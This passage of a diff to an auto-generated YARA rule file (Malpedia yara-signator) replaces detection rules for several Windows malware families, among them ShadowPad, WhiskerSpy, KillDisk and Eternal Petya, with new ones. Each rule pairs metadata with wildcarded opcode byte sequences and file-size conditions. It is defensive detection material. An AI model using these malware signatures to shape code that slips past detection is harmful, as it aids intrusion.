"https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_069_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.radrat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.radrat_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "83336718c29f0a03822d261021a531779ab99e146839ff186b37823c6377f602" + logic_hash = "fb8c6f115f4d653cbab2ab642c199fa84b318ba0571f54841296153652a76219" score = 75 quality = 75 tags = "FILE" @@ -146144,32 +146040,32 @@ rule MALPEDIA_Win_Unidentified_069_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d4564 e8???????? 84c0 747b 807d6802 7558 } - $sequence_1 = { 3975fc 0f824dffffff 5f 5b 8b450c 5e c9 } - $sequence_2 = { ff15???????? 8b7d08 8b37 e8???????? 83f8ff 0f84a8010000 8b0d???????? } - $sequence_3 = { 8b75f4 f6450804 741a 85f6 7616 8b7d0c 8d4477fe } - $sequence_4 = { 7fae ff36 885dff ff15???????? 59 8a45ff 5f } - $sequence_5 = { 8bda d1eb 23df 8b1c9da81d4000 81e3ffffff01 03c0 } - $sequence_6 = { c20400 8b462c 85c0 7638 83f820 7411 57 } - $sequence_7 = { 7505 895dd8 eb11 0fb7c0 03c7 50 83c8ff } - $sequence_8 = { e8???????? 8bf8 85ff 0f8e97000000 8bca e8???????? } - $sequence_9 = { ff15???????? 85c0 7419 6a00 68???????? 6a05 ba???????? } + $sequence_0 = { c645fc06 8d9578ffffff 52 83ec28 8bc4 89a520ffffff 8d4dcc } + $sequence_1 = { 8b55d8 894a54 837df010 7404 0cff eb7b 8b45d8 } + $sequence_2 = { 8d8db4c3ffff e8???????? e9???????? 83bd54ffffff46 0f8570110000 6a01 8d953cc3ffff } + $sequence_3 = { e8???????? c3 8d8d8ccdffff e8???????? c3 8d8dac95ffff e8???????? } + $sequence_4 = { e8???????? c3 8d4d80 e8???????? c3 8d8d18fdffff e8???????? } + $sequence_5 = { e8???????? c745c000000000 eb09 8b45c0 83c001 8945c0 8b4dc0 } + $sequence_6 = { c745fc00000000 8b45c0 50 8b4dc8 e8???????? c745fcffffffff 8d4dcc } + $sequence_7 = { c68522ffffff00 c68524ffffff00 c645fc07 8b550c 52 8d8decfeffff e8???????? } + $sequence_8 = { e8???????? 83c410 8845fc 8b4dfc 81e1ff000000 85c9 7411 } + $sequence_9 = { e8???????? c645fc08 8b8d6cfbffff 83c108 e8???????? c645fc04 8d8ddefdffff } condition: - 7 of them and filesize < 434176 + 7 of them and filesize < 2080768 } -rule MALPEDIA_Win_Onhat_Auto : FILE +rule MALPEDIA_Win_Shadowpad_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c03e9aab-ceb3-5936-af60-a6f47c0b4822" + id = "0c1faf29-7964-56d7-af15-c1e6eca3ddc5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.onhat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.onhat_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shadowpad_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "2683ee8ac88dff088a6e9025d3b65f7d07e7b813a5d7aa89913a323bd3055d20" + logic_hash = "f49d5d94105b284c3bf5a2bc14ecce3430da1255366e6df534c457baba4feead" score = 75 quality = 75 tags = "FILE" @@ -146183,32 +146079,32 @@ rule MALPEDIA_Win_Onhat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c684248c00000025 c684248d00000064 c684248e00000000 ffd6 83c40c } - $sequence_1 = { c644242956 885c242a c644242b50 c644242c4f c644242d52 } - $sequence_2 = { c644242761 c644242874 88442429 c644241c4e c644241d6f c644241e48 } - $sequence_3 = { 33d2 8a542432 8acf 50 51 } - $sequence_4 = { 66ab aa 55 8d442458 6a64 50 51 } - $sequence_5 = { 89442424 0f8404020000 8b4c2414 50 } - $sequence_6 = { 33c0 5e 83c414 c3 8b4c240c 51 } - $sequence_7 = { 55 8d442458 6a64 50 51 e8???????? } - $sequence_8 = { 6689542412 e8???????? 83f8ff 7507 33c0 5e 83c410 } - $sequence_9 = { 56 e8???????? b14f 83c408 884c2411 b020 884c241a } + $sequence_0 = { 8bf0 e8???????? 50 ffd7 8d75d0 8945ec } + $sequence_1 = { a80f 0f85c4000000 68f40f0000 8d45ec 50 8d4b0c } + $sequence_2 = { 3b450c 0f8d85000000 41 51 8d45e0 e8???????? } + $sequence_3 = { 53 56 33db 57 33d2 eb2d } + $sequence_4 = { 894df8 890e 3803 7439 8b06 } + $sequence_5 = { 88144b 8a0408 8b560c c0e804 046a 88444a01 } + $sequence_6 = { c20400 55 8bec 53 57 ff7508 ff15???????? } + $sequence_7 = { 8bec 51 8a4201 8845ff } + $sequence_8 = { 33c0 8d4de8 e8???????? 8b7de0 8bc3 50 } + $sequence_9 = { 32d1 46 8810 3b7508 0f8c74ffffff 5f } condition: - 7 of them and filesize < 57344 + 7 of them and filesize < 188416 } -rule MALPEDIA_Win_Killdisk_Auto : FILE +rule MALPEDIA_Win_Moonwalk_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1c433beb-dada-5b26-9857-13f0bee328ff" + id = "ef8baf81-8fc1-5b8a-8169-40c37ce56608" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.killdisk" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.killdisk_auto.yar#L1-L164" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moonwalk" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moonwalk_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "50990d6a3b9890877b878363fc44a7021b275eb6d67ceb6edc1c960b038217f1" + logic_hash = "41695c23cda2f92c0bf6c3a4d26b3fdee7d01afc1ec5f837be35f51c67bf067d" score = 75 quality = 75 tags = "FILE" @@ -146222,38 +146118,32 @@ rule MALPEDIA_Win_Killdisk_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 8945e4 8b7508 c7465c904c4200 33ff } - $sequence_1 = { 75f7 2bca 8d7c243c 8bf2 8bd1 } - $sequence_2 = { 881c24 e8???????? d2cd 80d213 66c1e204 8b5500 f8 } - $sequence_3 = { eb09 8b442430 2bc1 c1f802 8d3c8500000000 57 } - $sequence_4 = { c604243a 9c 8d642434 e9???????? } - $sequence_5 = { 84c0 75c1 8d442404 50 } - $sequence_6 = { e9???????? 66894500 66897c240c 882c24 } - $sequence_7 = { 0f8482000000 55 e8???????? 8b1d???????? } - $sequence_8 = { e8???????? 881438 e8???????? 9c c6442408cf 894508 e9???????? } - $sequence_9 = { 6800100000 51 8bf0 ff15???????? } - $sequence_10 = { 46 66892c24 9c 8d64244c e9???????? 9c } - $sequence_11 = { 88442408 50 8d642434 e9???????? } - $sequence_12 = { 3b54242c 0f84d5000000 b83092c201 33ff e8???????? 85c0 } - $sequence_13 = { e9???????? 883424 ff742420 8f4500 9c } - $sequence_14 = { f5 88742408 c70424ba7bbfa4 660fbae408 662dca11 e8???????? 881438 } - $sequence_15 = { 8b542438 6888130000 52 ff15???????? } + $sequence_0 = { 488d4c2458 4c8978d0 4533ff 4c897c2458 44897d20 e8???????? 85c0 } + $sequence_1 = { 488b0d???????? ba833fd2f8 41b8e8c5ba5b 48898140010000 488d0d17880000 e8???????? } + $sequence_2 = { 488b05???????? 4c8bb42418050000 4885c0 753c 488d8548040000 4489bd48040000 33d2 } + $sequence_3 = { 72ed 443bc2 0f844e020000 33c0 44899500020000 89456c 0f57c0 } + $sequence_4 = { 4881c4b0000000 5e c3 488b4718 488b4f20 ff5068 488d942490000000 } + $sequence_5 = { 488b4968 4c896c2438 4c896c2430 4c896c2428 4c896c2420 e8???????? 4885db } + $sequence_6 = { 488d0508ecffff 48894360 488d05bdf4ffff 48894368 488d05b2f5ffff 48894370 488d05c7f7ffff } + $sequence_7 = { 488bfa 440fb65104 440fb64908 440fb6410c } + $sequence_8 = { 4154 4155 4156 4157 488dac2458feffff 4881ecb8020000 0f1005???????? } + $sequence_9 = { 0f84b6000000 4183f81d 740a b810000000 4883c448 c3 48895c2440 } condition: - 7 of them and filesize < 10817536 + 7 of them and filesize < 179200 } -rule MALPEDIA_Win_Spora_Ransom_Auto : FILE +rule MALPEDIA_Win_Whiskerspy_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "eb2e8bb4-ead2-5b5f-8d4b-4b5ca032457e" + id = "129d540e-8d5c-5460-9975-895a38c68929" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spora_ransom" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spora_ransom_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whiskerspy" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.whiskerspy_auto.yar#L1-L147" license_url = "N/A" - logic_hash = "4e1870b731d039931c3cd87b8cbae836b84abbb8438fb88731c5b4fc00862572" + logic_hash = "f82e28f98658c3c783c2c1731be6b16001447d83e33b49e0aaa68c9ddf787261" score = 75 quality = 75 tags = "FILE" @@ -146267,32 +146157,37 @@ rule MALPEDIA_Win_Spora_Ransom_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 8d45f0 50 ff5508 } - $sequence_1 = { 7436 03fb 83ff0c 72ec } - $sequence_2 = { 53 56 ff7508 e8???????? 85c0 7422 56 } - $sequence_3 = { ff36 57 ff15???????? 57 e8???????? } - $sequence_4 = { 83fe0a 72e4 5e c9 c3 } - $sequence_5 = { 8bf0 85f6 7445 8365fc00 8d45fc 50 57 } - $sequence_6 = { 8d45f0 50 ff5508 d1eb 46 83fe1a 72c7 } - $sequence_7 = { 740e 8b45fc 8b4010 0fb6f0 } - $sequence_8 = { 0bf0 57 ff15???????? 5f 8bc6 } - $sequence_9 = { 741f ff36 ff15???????? 85c0 7413 0fb600 } + $sequence_0 = { 8b06 8bcf d3e8 a801 } + $sequence_1 = { 33d2 488d4c2460 41b804010000 e8???????? 33d2 } + $sequence_2 = { 418b37 488bfd 488b8c2420010000 4883c510 } + $sequence_3 = { 44896ddc 498bd4 498bcd e8???????? 4c8be0 } + $sequence_4 = { 4803ca 418bc3 4c3bc1 458b4210 8b0d???????? } + $sequence_5 = { 48d3cf 4933f8 4b87bcfee0740200 33c0 488b5c2450 } + $sequence_6 = { e8???????? c6043700 488d55e0 498bce e8???????? } + $sequence_7 = { 4157 488dac24c8fcffff 4881ec38040000 488bda } + $sequence_8 = { 8d45d4 837de808 8b4db0 0f4345d4 8b16 } + $sequence_9 = { c685f9fbffff1e c685fafbffff8b 59 c685fbfbffff86 } + $sequence_10 = { c685e4feffff7b 889de5feffff 8a85b8feffff 8a840db8feffff } + $sequence_11 = { 6a06 59 f3a5 8b75e8 8b7dd8 } + $sequence_12 = { 0fbec1 83e820 83e07f 8b0cc5d43b4300 eb02 } + $sequence_13 = { 7430 8b5304 8d47f8 8d7308 } + $sequence_14 = { 33c0 f68594f9ffff02 899d9cf8ffff 89b5a0f8ffff } condition: - 7 of them and filesize < 73728 + 7 of them and filesize < 591872 } -rule MALPEDIA_Win_Rerdom_Auto : FILE +rule MALPEDIA_Win_Hzrat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "241210bd-111a-5707-8897-9f53944f382f" + id = "67019030-b140-578f-bd57-ed696d61f957" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rerdom" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rerdom_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hzrat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hzrat_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "e2884a0afa7a1b2f6c9a54d86366aeef6787f3f56ae7efd9ba84c1b1c522c12e" + logic_hash = "e02b803e3f8c380d72f2cad18c6b29e368b4a184be0cb897b06c0987d88951d3" score = 75 quality = 75 tags = "FILE" @@ -146306,32 +146201,32 @@ rule MALPEDIA_Win_Rerdom_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 72f0 8bc3 e8???????? 8d45e4 50 ff15???????? 8b4510 } - $sequence_1 = { 7406 c70003010000 85db 740f 53 ff742408 e8???????? } - $sequence_2 = { 754d 8b4604 3bc3 7346 3b4608 7341 } - $sequence_3 = { 743d 83fb09 7338 8d4704 56 50 8945fc } - $sequence_4 = { 894618 85c0 0f84c8000000 a1???????? 85c0 7522 68???????? } - $sequence_5 = { 750a 8d75ec e8???????? ebb8 b001 5e } - $sequence_6 = { b8???????? 8bcb e8???????? 3bc6 0f8419ffffff 57 b8???????? } - $sequence_7 = { 05???????? 50 8d44247c 50 e8???????? 8b442420 2b442424 } - $sequence_8 = { 8b45fc c9 c20c00 55 8bec 56 8d4508 } - $sequence_9 = { 0f849c000000 e8???????? 8bf8 85ff 0f8489000000 8b44240c 8b88f0000000 } + $sequence_0 = { 83fa10 7202 8b3e a1???????? 89040f c6440f0400 eb20 } + $sequence_1 = { 8b46e6 3b42e6 7462 0faee8 0fb67ee6 0fb642e6 2bf8 } + $sequence_2 = { 33c0 85c9 0f9fc0 8d0c45ffffffff 85c9 0f8559030000 8b461c } + $sequence_3 = { 8b450c 85c0 7416 8b5508 0fb64c02ff 80b91002420000 } + $sequence_4 = { 57 6a00 ff15???????? 57 85c0 0f859b000000 } + $sequence_5 = { 0f1106 ff15???????? 85c0 0f8484010000 0fb74704 50 ff15???????? } + $sequence_6 = { 8b45ec 8d4e14 83c40c 8b7d08 8b55f0 83c72c c645fc01 } + $sequence_7 = { 8b4dec 8d0411 8b4de8 33d2 } + $sequence_8 = { 8d4123 3bc1 0f86e6000000 50 0faee8 e8???????? 83c404 } + $sequence_9 = { 8b450c 50 e8???????? 8bc8 83c40c 894df8 } condition: - 7 of them and filesize < 352256 + 7 of them and filesize < 409600 } -rule MALPEDIA_Win_Eternal_Petya_Auto : FILE +rule MALPEDIA_Win_Varenyky_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0622b1c6-50a1-59bf-9c9e-674c89b8f214" + id = "d2bf30dc-4373-5dce-a9a9-0dfa02ec7d8e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.eternal_petya" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.eternal_petya_auto.yar#L1-L112" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.varenyky" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.varenyky_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "dc100556655eac63f6dd0a579c598175f64f6a920c350da1549a31a39dd0acc6" + logic_hash = "80f9f91b6d82bcfc676dfe7703a76fa743f54b58e262b45f8642f9e3f2fdc01d" score = 75 quality = 75 tags = "FILE" @@ -146345,32 +146240,32 @@ rule MALPEDIA_Win_Eternal_Petya_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d4644 50 53 6a02 } - $sequence_1 = { 8bec 51 57 68000000f0 6a18 33ff } - $sequence_2 = { 68f0000000 6a40 ff15???????? 8bd8 } - $sequence_3 = { 57 68000000f0 6a18 33ff } - $sequence_4 = { 55 8bec 51 57 68000000f0 } - $sequence_5 = { 55 8bec 51 57 68000000f0 6a18 } - $sequence_6 = { 53 8d4644 50 53 } - $sequence_7 = { 55 8bec 51 57 68000000f0 6a18 33ff } - $sequence_8 = { 51 57 68000000f0 6a18 } - $sequence_9 = { 53 68f0000000 6a40 ff15???????? } + $sequence_0 = { 1bc0 83d8ff 85c0 0f8467010000 8d8c2490000000 51 6804010000 } + $sequence_1 = { 85c0 0f8ef7010000 8b15???????? a0???????? 6a00 } + $sequence_2 = { bf697a0000 3bc3 7411 90 69ff81000000 } + $sequence_3 = { 8d8c2454010000 68???????? 51 e8???????? 8d84245c010000 83c40c 8d5001 } + $sequence_4 = { 83c40c 8d4c2418 51 8d94244c030000 } + $sequence_5 = { 57 e8???????? 83c404 3c33 } + $sequence_6 = { 8d84244d030000 53 50 c744242404010000 889c2454030000 e8???????? } + $sequence_7 = { 0f8c0b0a0000 8ac2 2c20 3c58 7711 0fbec2 0fbe8030c24000 } + $sequence_8 = { 3bc3 7411 90 69ff81000000 41 } + $sequence_9 = { 8b84241c010000 83c40c 50 33d2 80bc242602000001 b905000000 0f95c2 } condition: - 7 of them and filesize < 851968 + 7 of them and filesize < 24846336 } -rule MALPEDIA_Win_Kasperagent_Auto : FILE +rule MALPEDIA_Win_Fog_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5bc59f22-b9b3-5766-9e08-5c129dbebf50" + id = "d28c9493-ded7-5c6b-96f1-79a637f3ec06" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kasperagent" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kasperagent_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fog" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fog_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "8d5948eeb8ffe48e5f1f32cc1b2e0326c959eb92c3d2c7a0786033f96cdcbcd0" + logic_hash = "65c8cd27a3044c0ed114d45adeda01dfdb815d1dce8b0ed05ceb7d08d13dca8c" score = 75 quality = 75 tags = "FILE" @@ -146384,71 +146279,71 @@ rule MALPEDIA_Win_Kasperagent_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ffd0 c645fc03 8b45bc 83c0f0 8d480c 83caff } - $sequence_1 = { 83c002 47 3bce 75eb 8bc3 3b5c2410 } - $sequence_2 = { 84db 7524 8b4500 83e810 ba01000000 } - $sequence_3 = { 663b54243a 7516 668b460c 663b44243c 750b b801000000 5f } - $sequence_4 = { 0fb74c2418 81c26c070000 40 668916 } - $sequence_5 = { 2bc6 0bd0 b301 7d08 56 8bcd e8???????? } - $sequence_6 = { 56 57 33ff 66837c24182d 897c2414 7472 } - $sequence_7 = { 89442408 8d742410 8d442408 c7470800000000 } - $sequence_8 = { ff500c 837d0800 75cc 5b 5d c20400 8bff } - $sequence_9 = { 57 56 ff15???????? 33c9 894c2430 894c2434 894c2438 } + $sequence_0 = { 6a64 57 6a00 6800020000 e8???????? 0f1006 8b4514 } + $sequence_1 = { 50 8d45fc 50 8d45f0 50 ffd6 8b4510 } + $sequence_2 = { 8b8db8f6ffff 85c9 7445 8b3c8dd42b0110 85ff 0f8588000000 33c0 } + $sequence_3 = { 83c40c 6b45e430 8945e0 8d8028a10110 8945e4 803800 } + $sequence_4 = { 83c408 8bd8 8b4720 6a00 56 53 6a10 } + $sequence_5 = { 038c8300180000 0fb6c2 038c8300140000 0fb68308200000 038c8300100000 334cb338 314f38 } + $sequence_6 = { e8???????? 83c404 89861c020000 8b45e0 8d4e0c 6a06 8d901ca10110 } + $sequence_7 = { 0f8eac000000 660f1f440000 8d0c8500000000 83bc0d0cffffff02 0f857f000000 8db574ffffff 03f1 } + $sequence_8 = { 8b4604 03c3 50 ff36 e8???????? 8b4e04 } + $sequence_9 = { 0fb74004 6685c0 7527 ff4508 83c304 } condition: - 7 of them and filesize < 1605632 + 7 of them and filesize < 244736 } -rule MALPEDIA_Win_Cerbu_Miner_Auto : FILE +rule MALPEDIA_Win_Himera_Loader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "77652d6a-745f-5552-8901-83bf555706f4" - date = "2023-12-06" - modified = "2023-12-08" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cerbu_miner" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cerbu_miner_auto.yar#L1-L134" + id = "d48b80f9-ba7c-5b70-abe3-35c7e699db08" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.himera_loader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.himera_loader_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "e4927a587588bc11053fcbade5bb9500364c9a656d383eb318cc8486464f3cce" + logic_hash = "ac37c3c2c74b38220d6622ffc9fadece4f2263ad47a93b2ffce232c15567e711" score = 75 quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20231130" - malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351" - malpedia_version = "20230808" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 88b42480000000 eb3f 83e902 7433 83e904 7413 83e909 } - $sequence_1 = { 7412 48 8d0d0b360500 48 83c428 48 ff25???????? } - $sequence_2 = { 8d4601 c643012e 48 63c8 41 8d4602 48 } - $sequence_3 = { 85d2 7427 85c9 b800040000 41 b800080000 44 } - $sequence_4 = { f6473801 7402 eb18 48 8bcf ff15???????? f6473801 } - $sequence_5 = { e9???????? 45 8bfd 44 89ad50010000 e9???????? 44 } - $sequence_6 = { 48 89442420 e8???????? 48 8bd7 48 8bcb } - $sequence_7 = { 89b42418010000 8b74242c 83feff 7515 837f0c00 7c0f 48 } - $sequence_8 = { 8d057b52f9ff 48 894518 c745b0e6070000 48 c745c000000200 48 } - $sequence_9 = { 44 2bc0 44 8903 33c0 48 8b5c2438 } + $sequence_0 = { c645e656 c645e70e c645e801 c645e90e c645ea18 c645eb1a } + $sequence_1 = { 83e03f c1f906 6bd038 8b0c8d00a14200 804c112802 5b } + $sequence_2 = { 83bd00faffff00 7409 83bd1cfaffff00 7504 33c0 } + $sequence_3 = { 0f84d3000000 8b048d7c3c4200 89858cf8ffff 85c0 0f8498000000 83f801 0f84b5000000 } + $sequence_4 = { 6689411e 6a10 ba02000000 c1e204 8b4508 0fb70c10 } + $sequence_5 = { 0fb6d0 85d2 744c 8d4df0 e8???????? 8945e8 8b45e8 } + $sequence_6 = { e8???????? 83c404 33d2 88957582ffff } + $sequence_7 = { 8d950c82ffff 52 8d85ec81ffff 50 8d8de881ffff 51 } + $sequence_8 = { 8945f0 50 8d45f4 64a300000000 894da4 c745a048000000 c645a846 } + $sequence_9 = { e8???????? 8bc8 e8???????? 50 8b8d3082ffff } condition: - 7 of them and filesize < 1040384 + 7 of them and filesize < 385024 } -rule MALPEDIA_Win_Sfile_Auto : FILE +rule MALPEDIA_Win_Rhino_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e614c85b-182e-5624-9633-dd84a183f73d" + id = "301844bb-5a4f-5171-97e6-f16bb6b6ee32" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sfile" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sfile_auto.yar#L1-L113" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhino" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rhino_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "4284a47c1e2e07fe055fa45f368d41b804eaf7390d53426d31beb69dd3e007f9" + logic_hash = "5ce22b89951420015e2398779d8c31359ab3803912d8b24c1d8c37a7a67db86a" score = 75 quality = 75 tags = "FILE" @@ -146462,32 +146357,32 @@ rule MALPEDIA_Win_Sfile_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 52 8b4514 50 e8???????? 83c408 eb49 } - $sequence_1 = { 8b55f8 2b55e8 d1fa 8955e4 8b45e4 } - $sequence_2 = { 8b55fc c7422000000000 8d45fc 50 } - $sequence_3 = { 7433 6aff 8b4dfc 8b5118 52 } - $sequence_4 = { 8b4818 51 ff15???????? 8b55fc 8b421c } - $sequence_5 = { 8d8db8fdffff 51 e8???????? 83c41c 837dc800 7507 } - $sequence_6 = { 8b4244 8b4d08 8b5120 8b4008 } - $sequence_7 = { 8b5158 52 e8???????? 83c404 8b4510 } - $sequence_8 = { 8b751c 8b4d20 f3a4 837d0802 } - $sequence_9 = { 8bec 83ec2c 56 57 c745f400000000 } + $sequence_0 = { 3944240c 760a f71487 40 3b44240c 72f6 } + $sequence_1 = { 8bc7 c1c806 33c8 8b44242c 33442420 23c7 3344242c } + $sequence_2 = { 8d45d8 50 6a06 8bce e8???????? 6a00 6a01 } + $sequence_3 = { 03c1 8b4c2420 83d500 894114 8b470c f7e0 } + $sequence_4 = { 8d45d0 50 e8???????? e8???????? c20800 8b5114 } + $sequence_5 = { 83ec78 8d6c24fc a1???????? 33c5 894578 6a14 b8???????? } + $sequence_6 = { 53 53 6800000008 51 53 53 56 } + $sequence_7 = { 68???????? 50 e8???????? 83c40c 8365fc00 8bce 50 } + $sequence_8 = { 8b06 ff5048 85c0 0f849c000000 807c241006 0f8591000000 57 } + $sequence_9 = { 8b5528 0f1101 034c241c 836c242801 89442410 894c2414 758a } condition: - 7 of them and filesize < 588800 + 7 of them and filesize < 1288192 } -rule MALPEDIA_Win_Cradlecore_Auto : FILE +rule MALPEDIA_Win_Turla_Silentmoon_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fec2c384-0d7c-5ffa-a383-057dccfbd935" + id = "711d8460-3e95-57e5-96e4-0d30c9eba978" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cradlecore" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cradlecore_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_silentmoon" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.turla_silentmoon_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "cc04ae06802f62915d99191dfee1f4ad76dcf5fb1c40032e747d4c7261b81445" + logic_hash = "3d4cfb37bdf5585573f2013bd7786899d7b9f149ed83fd0e028e64c3f10d7b64" score = 75 quality = 75 tags = "FILE" @@ -146501,32 +146396,32 @@ rule MALPEDIA_Win_Cradlecore_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8d45d8 c645fc1c 50 e8???????? 8d4590 c645fc1d } - $sequence_1 = { 8bf8 e9???????? 8b8528e5ffff 8b0c85f01f4300 8b8524e5ffff f644080480 0f8475030000 } - $sequence_2 = { 03d9 014c2410 8b54240c 11442414 2bf1 1bf8 8b422c } - $sequence_3 = { 8d4db0 8945fc e8???????? 8b55fc 8bcf f7d1 } - $sequence_4 = { 8bc3 2b450c 741b 50 } - $sequence_5 = { 50 51 8d8c248c000000 e8???????? 8b5508 8d4c2468 } - $sequence_6 = { 395c2430 726f 837c243410 8b442420 7304 } - $sequence_7 = { c1e606 c1e910 c0e107 8b1485f01f4300 8a443224 } - $sequence_8 = { 8b7508 6a00 53 8d4c2430 e8???????? 8bc6 8b4c2444 } - $sequence_9 = { 59 85c0 7831 8b1cc55c5e4200 6a55 53 e8???????? } + $sequence_0 = { 8b4df4 83c404 51 ffd7 83c404 8d95e4f7ffff } + $sequence_1 = { 7ce0 8b55d4 47 03c9 897dd0 3bfa 7ec7 } + $sequence_2 = { 41 3b4df0 7ce3 8955d4 83fa11 0f8fe8000000 83f801 } + $sequence_3 = { 50 6a01 8d4dff 51 56 c645ffec 895dec } + $sequence_4 = { ff15???????? 8b4ddc 8b35???????? 51 ffd6 8b55e0 52 } + $sequence_5 = { 85c0 7407 32c0 5e 8be5 5d c3 } + $sequence_6 = { 8955fc 8bd9 8975f4 8bc6 8bff 3bc8 7f24 } + $sequence_7 = { 09be58020000 8b7df8 898e5c020000 0fb77c7b52 897df4 8b3cba 897dd4 } + $sequence_8 = { 83f801 752e 8b4508 8b7c245c } + $sequence_9 = { 5f 8be5 5d c3 8b55fc 6a04 8d4df8 } condition: - 7 